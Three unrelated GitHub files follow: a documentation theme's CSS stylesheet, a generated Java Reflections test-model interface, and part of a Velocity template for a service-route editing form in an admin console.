transform: translateY(-50%);
}
.button, .button-secondary {
display: inline-block;
padding: 7px 12px;
}
.button:active, .button-secondary:active {
margin: 2px 0 -2px 0;
}
@font-face {
font-family: 'Novacento Sans Wide';
src: url("../fonts/Novecentosanswide-UltraLight-webfont.eot");
src: url("../fonts/Novecentosanswide-UltraLight-webfont.eot?#iefix") format("embedded-opentype"), url("../fonts/Novecentosanswide-UltraLight-webfont.woff2") format("woff2"), url("../fonts/Novecentosanswide-UltraLight-webfont.woff") format("woff"), url("../fonts/Novecentosanswide-UltraLight-webfont.ttf") format("truetype"), url("../fonts/Novecentosanswide-UltraLight-webfont.svg#novecento_sans_wideultralight") format("svg");
font-style: normal;
font-weight: 200;
}
@font-face {
font-family: 'Work Sans';
font-style: normal;
font-weight: 300;
src: url("../fonts/Work_Sans_300.eot?#iefix") format("embedded-opentype"), url("../fonts/Work_Sans_300.woff") format("woff"), url("../fonts/Work_Sans_300.woff2") format("woff2"), url("../fonts/Work_Sans_300.svg#WorkSans") format("svg"), url("../fonts/Work_Sans_300.ttf") format("truetype");
}
@font-face {
font-family: 'Work Sans';
font-style: normal;
font-weight: 500;
src: url("../fonts/Work_Sans_500.eot?#iefix") format("embedded-opentype"), url("../fonts/Work_Sans_500.woff") format("woff"), url("../fonts/Work_Sans_500.woff2") format("woff2"), url("../fonts/Work_Sans_500.svg#WorkSans") format("svg"), url("../fonts/Work_Sans_500.ttf") format("truetype");
}
body {
background: #fff;
color: #777;
}
body #chapter h1 {
font-size: 3.5rem;
}
@media only all and (min-width: 48em) and (max-width: 59.938em) {
body #chapter h1 {
font-size: 3rem;
}
}
@media only all and (max-width: 47.938em) {
body #chapter h1 {
font-size: 2rem;
}
}
a {
color: #00bdf3;
}
a:hover {
color: #0082a7;
}
pre {
position: relative;
color: #ffffff;
}
.bg {
background: #fff;
border: 1px solid #eaeaea;
}
b, strong, label, th {
font-weight: 600;
}
.default-animation, #header #logo-svg, #header #logo-svg path, #sidebar, #sidebar ul, #body, #body .padding, #body .nav {
-webkit-transition: all 0.5s ease;
-moz-transition: all 0.5s ease;
transition: all 0.5s ease;
}
#grav-logo {
max-width: 60%;
}
#grav-logo path {
fill: #fff !important;
}
#sidebar {
font-weight: 300 !important;
}
fieldset {
border: 1px solid #ddd;
}
textarea, input[type="email"], input[type="number"], input[type="password"], input[type="search"], input[type="tel"], input[type="text"], input[type="url"], input[type="color"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="month"], input[type="time"], input[type="week"], select[multiple=multiple] {
background-color: white;
border: 1px solid #ddd;
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.06);
}
textarea:hover, input[type="email"]:hover, input[type="number"]:hover, input[type="password"]:hover, input[type="search"]:hover, input[type="tel"]:hover, input[type="text"]:hover, input[type="url"]:hover, input[type="color"]:hover, input[type="date"]:hover, input[type="datetime"]:hover, input[type="datetime-local"]:hover, input[type="month"]:hover, input[type="time"]:hover, input[type="week"]:hover, select[multiple=multiple]:hover {
border-color: #c4c4c4;
}
textarea:focus, input[type="email"]:focus, input[type="number"]:focus, input[type="password"]:focus, input[type="search"]:focus, input[type="tel"]:focus, input[type="text"]:focus, input[type="url"]:focus, input[type="color"]:focus, input[type="date"]:focus, input[type="datetime"]:focus, input[type="datetime-local"]:focus, input[type="month"]:focus, input[type="time"]:focus, input[type="week"]:focus, select[multiple=multiple]:focus {
border-color: #00bdf3;
box-shadow: inset 0 1px 3px rgba(0,0,0,.06),0 0 5px rgba(0,169,218,.7)
}
#header-wrapper {
background: #8451a1;
color: #fff;
text-align: center;
border-bottom: 4px solid #9c6fb6;
padding: 1rem;
}
#header a {
display: inline-block;
}
#header #logo-svg {
width: 8rem;
height: 2rem;
}
#header #logo-svg path {
fill: #fff;
}
.searchbox {
margin-top: 1rem;
position: relative;
border: 1px solid #915eae;
background: #764890;
border-radius: 4px;
}
.searchbox label {
color: rgba(255, 255, 255, 0.8);
position: absolute;
left: 10px;
top: 3px;
}
.searchbox span {
color: rgba(255, 255, 255, 0.6);
position: absolute;
right: 10px;
top: 3px;
cursor: pointer;
}
.searchbox span:hover {
color: rgba(255, 255, 255, 0.9);
}
.searchbox input {
display: inline-block;
color: #fff;
width: 100%;
height: 30px;
background: transparent;
border: 0;
padding: 0 25px 0 30px;
margin: 0;
font-weight: 300;
}
.searchbox input::-webkit-input-placeholder {
color: rgba(255, 255, 255, 0.6);
}
.searchbox input::-moz-placeholder {
color: rgba(255, 255, 255, 0.6);
}
.searchbox input:-moz-placeholder {
color: rgba(255, 255, 255, 0.6);
}
.searchbox input:-ms-input-placeholder {
color: rgba(255, 255, 255, 0.6);
}
#sidebar-toggle-span {
display: none;
}
@media only all and (max-width: 47.938em) {
#sidebar-toggle-span {
display: inline;
}
}
#sidebar {
background-color: #322A38;
position: fixed;
top: 0;
width: 300px;
bottom: 0;
left: 0;
font-weight: 400;
font-size: 15px;
}
#sidebar a {
color: #ccc;
}
#sidebar a:hover {
color: #e6e6e6;
}
#sidebar a.subtitle {
color: rgba(204, 204, 204, 0.6);
}
#sidebar hr {
border-bottom: 1px solid #2a232f;
}
#sidebar a.padding {
padding: 0 1rem;
}
#sidebar h5 {
margin: 2rem 0 0;
position: relative;
line-height: 2;
}
#sidebar h5 a {
display: block;
margin-left: 0;
margin-right: 0;
padding-left: 1rem;
padding-right: 1rem;
}
#sidebar h5 i {
color: rgba(204, 204, 204, 0.6);
position: absolute;
right: 0.6rem;
top: 0.7rem;
font-size: 80%;
}
#sidebar h5.parent a {
background: #201b24;
color: #d9d9d9 !important;
}
#sidebar h5.active a {
background: #fff;
color: #777 !important;
}
#sidebar h5.active i {
color: #777 !important;
}
#sidebar h5 + ul.topics {
display: none;
margin-top: 0;
}
#sidebar h5.parent + ul.topics, #sidebar h5.active + ul.topics {
display: block;
}
#sidebar ul {
list-style: none;
padding: 0;
margin: 0;
}
#sidebar ul.searched a {
color: #999999;
}
#sidebar ul.searched .search-match a {
color: #e6e6e6;
}
#sidebar ul.searched .search-match a:hover {
color: white;
}
#sidebar ul.topics {
margin: 0 1rem;
}
#sidebar ul.topics.searched ul {
display: block;
}
#sidebar ul.topics ul {
display: none;
padding-bottom: 1rem;
}
#sidebar ul.topics ul ul {
padding-bottom: 0;
}
#sidebar ul.topics li.parent>ul, #sidebar ul.topics > li.active>ul {
display: block;
}
#sidebar ul.topics > li > a {
line-height: 2rem;
font-size: 1.1rem;
}
#sidebar ul.topics > li > a b {
opacity: 0.5;
font-weight: normal;
}
#sidebar ul.topics > li > a .fa {
margin-top: 9px;
}
#sidebar ul.topics > li.parent, #sidebar ul.topics > li.active {
background: #251f29;
margin-left: -1rem;
margin-right: -1rem;
padding-left: 1rem;
padding-right: 1rem;
}
#sidebar ul li.active > a {
background: #fff;
color: #777 !important;
margin-left: -1rem;
margin-right: -1rem;
padding-left: 1rem;
padding-right: 1rem;
}
#sidebar ul li {
padding: 0;
}
#sidebar ul li.visited + span {
margin-right: 16px;
}
#sidebar ul li a {
display: block;
padding: 2px 0;
}
#sidebar ul li a span {
text-overflow: ellipsis;
overflow: hidden;
white-space: nowrap;
display: block;
}
#sidebar ul li > a {
padding: 4px 0;
}
#sidebar ul li.visited > a .read-icon {
color: #9c6fb6;
display: inline;
}
#sidebar ul li li {
padding-left: 1rem;
text-indent: 0.2rem;
}
#main {
background: #f7f7f7;
margin: 0 0 1.563rem 0;
}
#body {
position: relative;
margin-left: 300px;
min-height: 100%;
}
#body img, #body .video-container {
margin: 3rem auto;
display: block;
text-align: center;
}
#body img.border, #body .video-container.border {
border: 2px solid #e6e6e6 !important;
padding: 2px;
}
#body img.shadow, #body .video-container.shadow {
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
}
#body img.inline {
display: inline !important;
margin: 0 !important;
vertical-align: bottom;
}
#body .bordered {
border: 1px solid #ccc;
}
#body .padding {
padding: 3rem 6rem;
}
@media only all and (max-width: 59.938em) {
#body .padding {
position: static;
padding: 15px 3rem;
}
}
@media only all and (max-width: 47.938em) {
#body .padding {
padding: 5px 1rem;
}
}
#body h1 + hr {
margin-top: -1.7rem;
margin-bottom: 3rem;
}
@media only all and (max-width: 59.938em) {
#body #navigation {
position: static;
margin-right: 0 !important;
width: 100%;
display: table;
}
}
#body .nav {
position: fixed;
top: 0;
bottom: 0;
width: 4rem;
font-size: 50px;
height: 100%;
cursor: pointer;
display: table;
text-align: center;
}
#body .nav > i {
display: table-cell;
vertical-align: middle;
text-align: center;
}
@media only all and (max-width: 59.938em) {
#body .nav {
display: table-cell;
position: static;
top: auto;
width: 50%;
text-align: center;
height: 100px;
line-height: 100px;
padding-top: 0;
}
#body .nav > i {
display: inline-block;
}
}
#body .nav:hover {
background: #F6F6F6;
}
#body .nav.nav-pref {
left: 0;
}
#body .nav.nav-next {
right: 0;
}
#body-inner {
margin-bottom: 5rem;
}
#chapter {
display: flex;
align-items: center;
justify-content: center;
height: 100%;
padding: 2rem 0;
}
#chapter #body-inner {
padding-bottom: 3rem;
max-width: 80%;
}
#chapter h3 {
font-family: "Work Sans", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
font-weight: 300;
text-align: center;
}
#chapter h1 {
font-size: 5rem;
border-bottom: 4px solid #F0F2F4;
}
#chapter p {
text-align: center;
/* font-size: 1.2rem; */
}
#footer {
padding: 3rem 1rem;
color: #b3b3b3;
font-size: 13px;
}
#footer p {
margin: 0;
}
body {
font-family: "Work Sans", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
font-weight: 300;
line-height: 1.6;
font-size: 18px !important;
}
h2, h3, h4, h5, h6 {
font-family: "Work Sans", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
text-rendering: optimizeLegibility;
color: #5e5e5e;
font-weight: 400;
letter-spacing: -1px;
}
h1 {
font-family: "Novacento Sans Wide", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
text-align: center;
text-transform: uppercase;
color: #222;
font-weight: 200;
}
blockquote {
border-left: 10px solid #F0F2F4;
}
blockquote p {
font-size: 1.1rem;
color: #999;
}
blockquote cite {
display: block;
text-align: right;
color: #666;
font-size: 1.2rem;
}
div.notices {
margin: 2rem 0;
position: relative;
}
div.notices p {
padding: 15px;
display: block;
font-size: 1rem;
margin-top: 0rem;
margin-bottom: 0rem;
color: #666;
}
div.notices p:first-child:before {
position: absolute;
top: 2px;
color: #fff;
font-family: FontAwesome;
content: '';
left: 10px;
}
div.notices p:first-child:after {
position: absolute;
top: 2px;
color: #fff;
left: 2rem;
}
div.notices.info p {
border-top: 30px solid #F0B37E;
background: #FFF2DB;
}
div.notices.info p:first-child:after {
content: 'Info';
}
div.notices.warning p {
border-top: 30px solid rgba(217, 83, 79, 0.8);
background: #FAE2E2;
}
div.notices.warning p:first-child:after {
content: 'Warning';
}
div.notices.note p {
border-top: 30px solid #6AB0DE;
background: #E7F2FA;
}
div.notices.note p:first-child:after {
content: 'Note';
}
div.notices.tip p {
border-top: 30px solid rgba(92, 184, 92, 0.8);
background: #E6F9E6;
}
div.notices.tip p:first-child:after {
content: 'Tip';
}
/* attachments shortcode */
section.attachments {
margin: 2rem 0;
position: relative;
}
section.attachments label {
font-weight: 400;
padding-left: 0.5em;
padding-top: 0.2em;
padding-bottom: 0.2em;
margin: 0;
}
section.attachments .attachments-files {
padding: 15px;
display: block;
font-size: 1rem;
margin-top: 0rem;
margin-bottom: 0rem;
color: #666;
}
section.attachments.orange label {
color: #fff;
background: #F0B37E;
}
section.attachments.orange .attachments-files {
background: #FFF2DB;
}
section.attachments.green label {
color: #fff;
background: rgba(92, 184, 92, 0.8);
}
section.attachments.green .attachments-files {
background: #E6F9E6;
}
section.attachments.blue label {
color: #fff;
background: #6AB0DE;
}
section.attachments.blue .attachments-files {
background: #E7F2FA;
}
section.attachments.grey label {
color: #fff;
background: #505d65;
}
section.attachments.grey .attachments-files {
background: #f4f4f4;
}
/* Children shortcode */
/* Children shortcode */
.children p {
font-size: small;
margin-top: 0px;
padding-top: 0px;
margin-bottom: 0px;
padding-bottom: 0px;
}
.children-li p {
font-size: small;
font-style: italic;
}
.children-h2 p, .children-h3 p {
font-size: small;
margin-top: 0px;
padding-top: 0px;
margin-bottom: 0px;
padding-bottom: 0px;
}
.children h3,.children h2 {
margin-bottom: 0px;
margin-top: 5px;
}
code, kbd, pre, samp {
font-family: "Consolas", menlo, monospace;
font-size: 92%;
}
code {
border-radius: 2px;
white-space: nowrap;
color: #5e5e5e;
background: #FFF7DD;
border: 1px solid #fbf0cb;
padding: 0px 2px;
}
code + .copy-to-clipboard {
margin-left: -1px;
border-left: 0 !important;
font-size: inherit !important;
vertical-align: middle;
height: 21px;
top: 0;
}
pre {
padding: 1rem;
margin: 2rem 0;
background: #1d1f21;
border: 0;
border-radius: 2px;
line-height: 1.15;
}
pre code {
color: whitesmoke;
background: inherit;
white-space: inherit;
border: 0;
padding: 0;
margin: 0;
font-size: 15px;
}
hr {
border-bottom: 4px solid #F0F2F4;
}
.page-title {
margin-top: -25px;
padding: 25px;
float: left;
clear: both;
background: #9c6fb6;
color: #fff;
}
#body a.anchor-link {
color: #ccc;
}
#body a.anchor-link:hover {
color: #9c6fb6;
}
#body-inner .tabs-wrapper.ui-theme-badges {
background: #1d1f21;
}
#body-inner .tabs-wrapper.ui-theme-badges .tabs-nav li {
font-size: 0.9rem;
text-transform: uppercase;
}
#body-inner .tabs-wrapper.ui-theme-badges .tabs-nav li a {
background: #35393c;
}
#body-inner .tabs-wrapper.ui-theme-badges .tabs-nav li.current a {
background: #4d5257;
}
#body-inner pre {
white-space: pre-wrap;
}
.tabs-wrapper pre {
margin: 1rem 0;
border: 0;
padding: 0;
background: inherit;
}
table {
border: 1px solid #eaeaea;
table-layout: auto;
}
th {
background: #f7f7f7;
padding: 0.5rem;
}
td {
padding: 0.5rem;
border: 1px solid #eaeaea;
}
.button {
background: #9c6fb6;
color: #fff;
box-shadow: 0 3px 0 #00a5d4;
}
.button:hover {
background: #00a5d4;
box-shadow: 0 3px 0 #008db6;
color: #fff;
}
.button:active {
box-shadow: 0 1px 0 #008db6;
}
.button-secondary {
background: #F8B450;
color: #fff;
box-shadow: 0 3px 0 #f7a733;
}
.button-secondary:hover {
background: #f7a733;
box-shadow: 0 3px 0 #f69b15;
color: #fff;
}
.button-secondary:active {
box-shadow: 0 1px 0 #f69b15;
}
.bullets {
margin: 1.7rem 0;
margin-left: -0.85rem;
margin-right: -0.85rem;
overflow: auto;
}
.bullet {
float: left;
padding: 0 0.85rem;
}
.two-column-bullet {
width: 50%;
}
@media only all and (max-width: 47.938em) {
.two-column-bullet {
width: 100%;
}
}
.three-column-bullet {
width: 33.33333%;
}
@media only all and (max-width: 47.938em) {
.three-column-bullet {
width: 100%;
}
}
.four-column-bullet {
width: 25%;
}
@media only all and (max-width: 47.938em) {
.four-column-bullet {
width: 100%;
}
}
.bullet-icon {
float: left;
background: #9c6fb6;
padding: 0.875rem;
width: 3.5rem;
height: 3.5rem;
border-radius: 50%;
color: #fff;
font-size: 1.75rem;
text-align: center;
}
.bullet-icon-1 {
background: #9c6fb6;
}
.bullet-icon-2 {
background: #00f3d8;
}
.bullet-icon-3 {
background: #e6f300;
}
.bullet-content {
margin-left: 4.55rem;
}
.tooltipped {
position: relative;
}
.tooltipped:after {
position: absolute;
z-index: 1000000;
display: none;
padding: 5px 8px;
font: normal normal 11px/1.5 "Work Sans", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
color: #fff;
text-align: center;
text-decoration: none;
text-shadow: none;
text-transform: none;
letter-spacing: normal;
word-wrap: break-word;
white-space: pre;
pointer-events: none;
content: attr(aria-label);
background: rgba(0, 0, 0, 0.8);
border-radius: 3px;
-webkit-font-smoothing: subpixel-antialiased;
}
.tooltipped:before {
position: absolute;
z-index: 1000001;
display: none;
width: 0;
height: 0;
color: rgba(0, 0, 0, 0.8);
pointer-events: none;
content: "";
border: 5px solid transparent;
}
.tooltipped:hover:before, .tooltipped:hover:after, .tooltipped:active:before, .tooltipped:active:after, .tooltipped:focus:before, .tooltipped:focus:after {
display: inline-block;
text-decoration: none;
}
.tooltipped-s:after, .tooltipped-se:after, .tooltipped-sw:after {
top: 100%;
right: 50%;
margin-top: 5px;
}
.tooltipped-s:before, .tooltipped-se:before, .tooltipped-sw:before {
top: auto;
right: 50%;
bottom: -5px;
margin-right: -5px;
border-bottom-color: rgba(0, 0, 0, 0.8);
}
.tooltipped-se:after {
right: auto;
left: 50%;
margin-left: -15px;
}
.tooltipped-sw:after {
margin-right: -15px;
}
.tooltipped-n:after, .tooltipped-ne:after, .tooltipped-nw:after {
right: 50%;
bottom: 100%;
margin-bottom: 5px;
}
.tooltipped-n:before, .tooltipped-ne:before, .tooltipped-nw:before {
top: -5px;
right: 50%;
bottom: auto;
margin-right: -5px;
border-top-color: rgba(0, 0, 0, 0.8);
}
.tooltipped-ne:after {
right: auto;
left: 50%;
margin-left: -15px;
}
.tooltipped-nw:after {
margin-right: -15px;
}
.tooltipped-s:after, .tooltipped-n:after {
transform: translateX(50%);
}
.tooltipped-w:after {
right: 100%;
bottom: 50%;
margin-right: 5px;
transform: translateY(50%);
}
.tooltipped-w:before {
top: 50%;
bottom: 50%;
left: -5px;
margin-top: -5px;
border-left-color: rgba(0, 0, 0, 0.8);
}
.tooltipped-e:after {
bottom: 50%;
left: 100%;
margin-left: 5px;
transform: translateY(50%);
}
.tooltipped-e:before {
top: 50%;
right: -5px;
bottom: 50%;
margin-top: -5px;
border-right-color: rgba(0, 0, 0, 0.8);
}
.highlightable {
padding: 1rem 0 1rem;
overflow: auto;
position: relative;
}
.hljs::selection, .hljs span::selection {
background: #b7b7b7;
}
.lightbox-active #body {
overflow: visible;
}
.lightbox-active #body .padding {
overflow: visible;
}
#github-contrib i {
vertical-align: middle;
}
.featherlight img {
margin: 0 !important;
}
.lifecycle #body-inner ul {
list-style: none;
margin: 0;
padding: 2rem 0 0;
position: relative;
}
.lifecycle #body-inner ol {
margin: 1rem 0 1rem 0;
padding: 2rem;
position: relative;
}
.lifecycle #body-inner ol li {
margin-left: 1rem;
}
.lifecycle #body-inner ol strong, .lifecycle #body-inner ol label, .lifecycle #body-inner ol th {
text-decoration: underline;
}
.lifecycle #body-inner ol ol {
margin-left: -1rem;
}
.lifecycle #body-inner h3[class*='level'] {
font-size: 20px;
position: absolute;
margin: 0;
padding: 4px 10px;
right: 0;
z-index: 1000;
color: #fff;
background: #1ABC9C;
}
.lifecycle #body-inner ol h3 {
margin-top: 1rem !important;
right: 2rem !important;
}
.lifecycle #body-inner .level-1 + ol {
background: #f6fefc;
border: 4px solid #1ABC9C;
color: #16A085;
}
.lifecycle #body-inner .level-1 + ol h3 {
background: #2ECC71;
}
.lifecycle #body-inner .level-2 + ol {
background: #f7fdf9;
border: 4px solid #2ECC71;
color: #27AE60;
}
.lifecycle #body-inner .level-2 + ol h3 {
background: #3498DB;
}
.lifecycle #body-inner .level-3 + ol {
background: #f3f9fd;
border: 4px solid #3498DB;
color: #2980B9;
}
.lifecycle #body-inner .level-3 + ol h3 {
background: #34495E;
}
.lifecycle #body-inner .level-4 + ol {
background: #e4eaf0;
border: 4px solid #34495E;
color: #2C3E50;
}
.lifecycle #body-inner .level-4 + ol h3 {
background: #34495E;
}
#top-bar {
background: #F6F6F6;
border-radius: 2px;
padding: 0 1rem;
height: 0;
min-height: 3rem;
}
#top-github-link {
position: relative;
z-index: 1;
float: right;
display: block;
}
#body #breadcrumbs {
height: auto;
margin-bottom: 0;
padding-left: 0;
line-height: 1.4;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
width: 70%;
display: inline-block;
float: left;
}
#body #breadcrumbs span {
padding: 0 0.1rem;
}
@media only all and (max-width: 59.938em) {
#sidebar {
width: 230px;
}
#body {
margin-left: 230px;
}
}
@media only all and (max-width: 47.938em) {
#sidebar {
width: 230px;
left: -230px;
}
#body {
margin-left: 0;
width: 100%;
}
.sidebar-hidden {
overflow: hidden;
}
.sidebar-hidden #sidebar {
left: 0;
}
.sidebar-hidden #body {
margin-left: 230px;
overflow: hidden;
}
.sidebar-hidden #overlay {
position: absolute;
left: 0;
right: 0;
top: 0;
bottom: 0;
z-index: 10;
background: rgba(255, 255, 255, 0.5);
cursor: pointer;
}
}
.copy-to-clipboard {
background-image: url(../images/clippy.svg);
background-position: 50% 50%;
background-size: 16px 16px;
background-repeat: no-repeat;
width: 27px;
height: 1.45rem;
top: -1px;
display: inline-block;
vertical-align: middle;
position: relative;
color: #5e5e5e;
background-color: #FFF7DD;
margin-left: -.2rem;
cursor: pointer;
border-radius: 0 2px 2px 0;
margin-bottom: 1px;
}
.copy-to-clipboard:hover {
background-color: #E8E2CD;
}
pre .copy-to-clipboard {
position: absolute;
right: 4px;
top: 4px;
background-color: #4d5257;
color: #ccc;
border-radius: 2px;
}
pre .copy-to-clipboard:hover {
background-color: #656c72;
color: #fff;
}
.parent-element {
-webkit-transform-style: preserve-3d;
-moz-transform-style: preserve-3d;
transform-style: preserve-3d;
}
#sidebar ul.topics > li > a .read-icon {
margin-top: 9px;
}
#sidebar ul {
list-style: none;
padding: 0;
margin: 0;
}
#sidebar #shortcuts li {
padding: 2px 0;
list-style: none;
}
#sidebar ul li .read-icon {
display: none;
float: right;
font-size: 13px;
min-width: 16px;
margin: 4px 0 0 0;
text-align: right;
}
#sidebar ul li.visited > a .read-icon {
color: #00bdf3;
display: inline;
}
#sidebar #shortcuts h3 {
font-family: "Novacento Sans Wide", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
color: white ;
margin-top:1rem;
padding-left: 1rem;
}
#searchResults {
text-align: left;
}
/*# sourceMappingURL=theme.css.map */
|
{
"pile_set_name": "Github"
}
|
//generated using Reflections JavaCodeSerializer [Fri Jun 12 14:30:42 CEST 2020]
package org.jboss.errai.reflections;
import static org.jboss.errai.reflections.serializers.JavaCodeSerializer.*;
public interface MyTestModelStore extends IElement {
public interface org extends IPackage {
public interface jboss extends IPackage {
public interface errai extends IPackage {
public interface reflections extends IPackage {
public interface TestModel$AC1 extends IClass {
}
public interface TestModel$AC2 extends IClass {
public interface value extends IMethod {}
}
public interface TestModel$AF1 extends IClass {
public interface value extends IMethod {}
}
public interface TestModel$AI1 extends IClass {
}
public interface TestModel$AI2 extends IClass {
}
public interface TestModel$AM1 extends IClass {
public interface value extends IMethod {}
}
public interface TestModel$C1 extends IClass {
}
public interface TestModel$C2 extends IClass {
}
public interface TestModel$C3 extends IClass {
}
public interface TestModel$C4 extends IClass {
public interface f1 extends IField {}
public interface f2 extends IField {}
public interface f3 extends IField {}
public interface m1 extends IMethod {}
public interface m1_int$$$$_java$lang$String$$$$ extends IMethod {}
public interface m1_int_java$lang$String$$ extends IMethod {}
public interface m3 extends IMethod {}
public interface m4 extends IMethod {}
public interface c2toC3 extends IMethod {}
}
public interface TestModel$C5 extends IClass {
}
public interface TestModel$C6 extends IClass {
}
public interface TestModel$I1 extends IClass {
}
public interface TestModel$I2 extends IClass {
}
public interface TestModel$I3 extends IClass {
}
public interface TestModel$MAI1 extends IClass {
}
}
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
<div class="ico_btn">
<a href="../../routes"><img src="$rootContextPath.getURI("images/ico_back.png")" width="12" height="12" /><span class="ico_font">$i18n.get("back")</span></a>
<span class="ico_line">|</span>
<a href="../$route.id/routeselect"><img src="$rootContextPath.getURI("images/ico_show.png")" width="12" height="12" /><span class="ico_font">$i18n.get("proview")</span></a>
#if($currentUser.role != "G")
<span class="ico_line">|</span>
<a href="../$route.id"><img src="$rootContextPath.getURI("images/ico_show.png")" width="12" height="12" /><span class="ico_font">$i18n.get("show")</span></a>
<span class="ico_line">|</span>
<a href="../$route.id/edit?actionflag=copy"><img src="$rootContextPath.getURI("images/ico_register.png")" width="12" height="12" /><span class="ico_font">$i18n.get("copy")</span></a>
<span class="ico_line">|</span>
#if($route.enabled)
<a href="#" onclick="showConfirm('$i18n.get("confirm.disable")', '$route.name', '../$route.id/disable'); return false;">
<img src="$rootContextPath.getURI("images/ico_disable.png")" width="13" height="13" />
<span class="ico_font">$i18n.get("disable")</span></a>
#else
<a href="#" onclick="showConfirm('$i18n.get("confirm.enable")', '$route.name', '../$route.id/enable'); return false;">
<img src="$rootContextPath.getURI("images/ico_enable.png")" width="13" height="13" />
<span class="ico_font">$i18n.get("enable")</span></a>
#end
<span class="ico_line">|</span>
<a href="#" onclick="showConfirm('$i18n.get("confirm.delete")', '$route.name', '../$route.id/delete'); return false;">
<img src="$rootContextPath.getURI("images/ico_delete.png")" width="12" height="12" />
<span class="ico_font">$i18n.get("delete")</span></a>
#end
</div>
<br/>
<form id="df" #if($actionflag=="copy") action="../../routes" #else action="../$route.id" #end onSubmit="return check();" method="POST">
<table cellpadding="0" cellspacing="0" class="info">
<tr>
<th width="100">$i18n.get("route.name"): <font color='red'>*</font></th>
<td colspan="2">
#if($actionflag=="copy")
<input type="text" id="name" name="name" maxlength="200" value=""/>
#else
<input type="text" id="name" name="name" maxlength="200" value="$route.name"/>
#end
</td>
<td><font color='blue'>$i18n.get("RouteNameTip")</font> </td>
</tr>
<tr>
<th>$i18n.get("Priority"):</th>
<td colspan="2">
<input type="text" id="priority" name="priority" value="#if($route)$route.priority#{else}0#end" onkeydown="return checkNumber();"/>
</td>
<td>
<font color='blue'>$i18n.get("RoutePriorityTip")</font>
</td>
</tr>
<tr>
<th>$i18n.get("service"): <font color='red'>*</font></th>
<td colspan="2">
<input type="hidden" id="service" name="service" value="$service" />$service
</td>
<td></td>
</tr>
<tr>
<th>$i18n.get("methodName"):</th>
<td colspan="2">
<input type="text" id="method" name="method" value="$!method" style="ime-mode:disabled"/>
#if ($methods)
<select onchange="if (this.value != '') { if (byId('method').value == '') { byId('method').value = this.value; } else { byId('method').value = byId('method').value + ',' + this.value; } this.value = ''; }">
<option value="">$i18n.get("Choose")</option>
#foreach ($m in $methods)
<option value="$m">$m</option>
#end
</select>
#end
</td>
<td>
<font color='blue'>$i18n.get("RouteMethodTip")<font>
</td>
</tr>
<tr>
<th>$i18n.get("MatchRule")</th>
<th>$i18n.get("Match")</th>
<th>$i18n.get("Mismatch")</th>
<td><font color='blue'>$i18n.get("RouteMatchTip")</font></td>
</tr>
<tr>
<th>$i18n.get("ConsumerHost"): </th>
<td><input type="text" id="consumerHost" name="consumerHost" value="$!consumerHost" style="ime-mode:disabled"/></td>
<td><input type="text" id="unconsumerHost" name="unconsumerHost" value="$!unconsumerHost" style="ime-mode:disabled"/></td>
<td><font color="blue">$i18n.get("RouteHostTip")</font></td>
</tr>
<tr>
<th>$i18n.get("ConsumerApplication"): </th>
<td><input type="text" id="consumerApplication" name="consumerApplication" value="$!consumerApplication" style="ime-mode:disabled"/></td>
<td><input type="text" id="unconsumerApplication" name="unconsumerApplication" value="$!unconsumerApplication" style="ime-mode:disabled"/></td>
<td><font color="blue">$i18n.get("RouteApplicationTip")</font></td>
</tr>
<tr>
<th>$i18n.get("ConsumerCluster"): </th>
<td>
<input type="text" id="consumerCluster" name="consumerCluster" value="$!consumerCluster" style="ime-mode:disabled" />
#if ($clusterNames && $clusterNames.size() > 0)
<select onchange="if (this.value != '') { if (byId('consumerCluster').value == '') { byId('consumerCluster').value = this.value; } else { byId('consumerCluster').value = byId('consumerCluster').value + ',' + this.value; } this.value = ''; }">
<option value="">$i18n.get("Choose")</option>
#foreach ($c in $clusterNames)
<option value="$c">$c</option>
#end
</select>
#end
</td>
<td>
<input type="text" id="unconsumerCluster" name="unconsumerCluster" value="$!unconsumerCluster" style="ime-mode:disabled" />
#if ($clusterNames && $clusterNames.size() > 0)
<select onchange="if (this.value != '') { if (byId('unconsumerCluster').value == '') { byId('unconsumerCluster').value = this.value; } else { byId('unconsumerCluster').value = byId('unconsumerCluster').value + ',' + this.value; } this.value = ''; }">
<option value="">$i18n.get("Choose")</option>
#foreach ($c in $clusterNames)
<option value="$c">$c</option>
#end
</select>
#end
</td>
<td><font color="blue">$i18n.get("RouteClusterTip")</font></td>
</tr>
<tr>
<th>$i18n.get("FilterRule")</th>
<th>$i18n.get("Match")</th>
<th>$i18n.get("Mismatch")</th>
<td><font color='blue'>$i18n.get("RouteFilterTip")</font></td>
</tr>
<tr id="host">
<th>$i18n.get("ProviderHost"): </th>
<td><input type="text" id="providerHost" value="$!providerHost"
name="providerHost" style="ime-mode:disabled"/></td>
<td><input type="text" id="unproviderHost" value="$!unproviderHost"
name="unproviderHost" style="ime-mode:disabled"/></td>
<td><font color="blue">$i18n.get("RouteHostTip")</font></td>
</tr>
<tr id="cluster">
<th>$i18n.get("ProviderCluster"): </th>
<td>
<input type="text" id="providerCluster" value="$!providerCluster" name="providerCluster" style="ime-mode:disabled"/>
#if ($clusterNames && $clusterNames.size() > 0)
<select onchange="if (this.value != '') { if (byId('providerCluster').value == '') { byId('providerCluster').value = this.value; } else { byId('providerCluster').value = byId('providerCluster').value + ',' + this.value; } this.value = ''; }">
<option value="">$i18n.get("Choose")</option>
#foreach ($c in $clusterNames)
<option value="$c">$c</option>
#end
</select>
#end
</td>
<td>
<input type="text" id="unproviderCluster" value="$!unproviderCluster" name="unproviderCluster" style="ime-mode:disabled"/>
#if ($clusterNames && $clusterNames.size() > 0)
<select onchange="if (this.value != '') { if (byId('unproviderCluster').value == '') { byId('unproviderCluster').value = this.value; } else { byId('unproviderCluster').value = byId('unproviderCluster').value + ',' + this.value; } this.value = ''; }">
<option value="">$i18n.get("Choose")</option>
#foreach ($c in $clusterNames)
<option value="$c">$c</option>
#end
</select>
#end
</td>
<td><font color="blue">$i18n.get("RouteClusterTip")</font></td>
</tr>
<tr id="protocol">
<th>$i18n.get("ProviderProtocol"): </th>
